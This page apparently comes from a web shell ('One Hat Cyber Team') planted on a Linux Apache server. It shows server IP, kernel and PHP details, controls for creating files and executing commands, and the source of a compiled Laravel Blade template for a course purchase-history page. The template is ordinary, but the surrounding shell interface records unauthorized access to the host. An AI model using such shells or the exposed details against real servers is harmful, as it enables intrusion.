⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.162
Server IP:
147.93.29.146
Server:
Linux server.tagooz.co 5.14.0-503.15.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Nov 28 07:25:19 EST 2024 x86_64
Server Software:
Apache
PHP Version:
8.2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
webstoremaker
/
www
/
storage
/
framework
/
views
/
View File Name :
a96db57aef6109ae7e7525939a33f924cf8ab305.php
<?php use App\Constants\Constant; use App\Http\Helpers\Uploader; ?> <?php $__env->startSection('tab-title'); ?> <?php echo e($keywords['Purchase_History'] ?? __('Purchase History')); ?> <?php $__env->stopSection(); ?> <?php $__env->startSection('page-name'); ?> <?php echo e($keywords['Purchase_History'] ?? __('Purchase History')); ?> <?php $__env->stopSection(); ?> <?php $__env->startSection('br-name'); ?> <?php echo e($keywords['Purchase_History'] ?? __('Purchase History')); ?> <?php $__env->stopSection(); ?> <?php $__env->startSection('content'); ?> <!-- Start Purchase History Section --> <section class="user-dashbord pt-100 pb-100"> <div class="container"> <div class="row"> <div class="col-12"> <div class="row"> <div class="col-lg-12"> <div class="account-info"> <div class="title"> <h4 class="mb-2"><?php echo e($keywords['Purchase_History'] ?? __('Purchase History')); ?></h4> </div> <div class="main-info"> <div class="main-table"> <?php if(count($allPurchase) == 0): ?> <h5 class="text-center mt-3"> <?php echo e($keywords['no_information_found'] ?? __('No Information Found!')); ?> </h5> <?php else: ?> <div class="table-responsive"> <table id="user-dataTable" class="table table-striped w-100"> <thead> <tr> <th><?php echo e($keywords['Order_ID'] ?? __('Order ID')); ?></th> <th><?php echo e($keywords['date'] ?? __('Date')); ?></th> <th><?php echo e($keywords['course'] ?? __('Course')); ?></th> <th><?php echo e($keywords['price'] ?? __('Price')); ?></th> <th><?php echo e($keywords['Paid_via'] ?? __('Paid via')); ?></th> <th><?php echo e($keywords['Payment_Status'] ?? __('Payment Status')); ?> </th> <th><?php echo e($keywords['Invoice'] ?? __('Invoice')); ?></th> </tr> </thead> <tbody> <?php $__currentLoopData = $allPurchase; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $purchase): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <?php if(isset($purchase->title) && isset($purchase->slug)): ?> <tr> <td><?php echo e('#' . $purchase->order_id); ?></td> <td><?php echo e(date_format($purchase->created_at, 'M d, Y')); ?> </td> <td> <a target="_blank" href="<?php echo e(route('front.user.course.details', [getParam(), 'slug' => $purchase->slug])); ?>"> <?php echo e(strlen($purchase->title) > 30 ? mb_substr($purchase->title, 0, 30, 'UTF-8') . '...' : $purchase->title); ?> </a> </td> <td> <?php if(!is_null($purchase->course_price)): ?> <?php echo e($purchase->currency_symbol_position == 'left' ? $purchase->currency_symbol : ''); ?><?php echo e($purchase->course_price); ?><?php echo e($purchase->currency_symbol_position == 'right' ? $purchase->currency_symbol : ''); ?> <?php else: ?> <span class="<?php echo e($userCurrentLang->rtl == 1 ? 'mr-2' : 'ml-1'); ?>"><?php echo e($keywords['free'] ?? __('Free')); ?></span> <?php endif; ?> </td> <td class="<?php echo e($userCurrentLang->rtl == 1 ? 'pr-4' : 'pl-3'); ?>"> <?php if(is_null($purchase->payment_method)): ?> - <?php else: ?> <?php echo e($purchase->payment_method); ?> <?php endif; ?> </td> <td> <?php if($purchase->payment_status == 'completed'): ?> <span class="completed <?php echo e($userCurrentLang->rtl == 1 ? 'mr-2' : 'ml-2'); ?>"><?php echo e($keywords['Completed'] ?? __('Completed')); ?></span> <?php elseif($purchase->payment_status == 'pending'): ?> <span class="pending <?php echo e($userCurrentLang->rtl == 1 ? 'mr-2' : 'ml-2'); ?>"><?php echo e($keywords['Pending'] ?? __('Pending')); ?></span> <?php elseif($purchase->payment_status == 'free'): ?> <span class="free <?php echo e($userCurrentLang->rtl == 1 ? 'mr-2' : 'ml-2'); ?>"><?php echo e($keywords['Free'] ?? __('Free')); ?></span> <?php else: ?> <span class="rejected <?php echo e($userCurrentLang->rtl == 1 ? 'mr-2' : 'ml-2'); ?>"><?php echo e($keywords['Rejected'] ?? __('Rejected')); ?></span> <?php endif; ?> </td> <td> <?php if(is_null($purchase->invoice)): ?> - <?php else: ?> <a href="<?php echo e(asset(\App\Constants\Constant::WEBSITE_ENROLLMENT_INVOICE . '/' . $purchase->invoice)); ?>" class="btn" target="_blank"> <?php echo e($keywords['Show'] ?? __('Show')); ?> </a> <?php endif; ?> </td> </tr> <?php endif; ?> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </tbody> </table> </div> <?php endif; ?> </div> </div> </div> </div> </div> </div> </div> </div> </section> <!-- End Purchase History Section --> <?php $__env->stopSection(); ?> <?php $__env->startSection('scripts'); ?> <script> //===== initialize bootstrap dataTable $('#user-dataTable').DataTable({ ordering: false, responsive: true }); </script> <?php $__env->stopSection(); ?> <?php echo $__env->make('user-front.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/webstoremaker/public_html/resources/views/user-front/customer/course_management/purchase-history.blade.php ENDPATH**/ ?>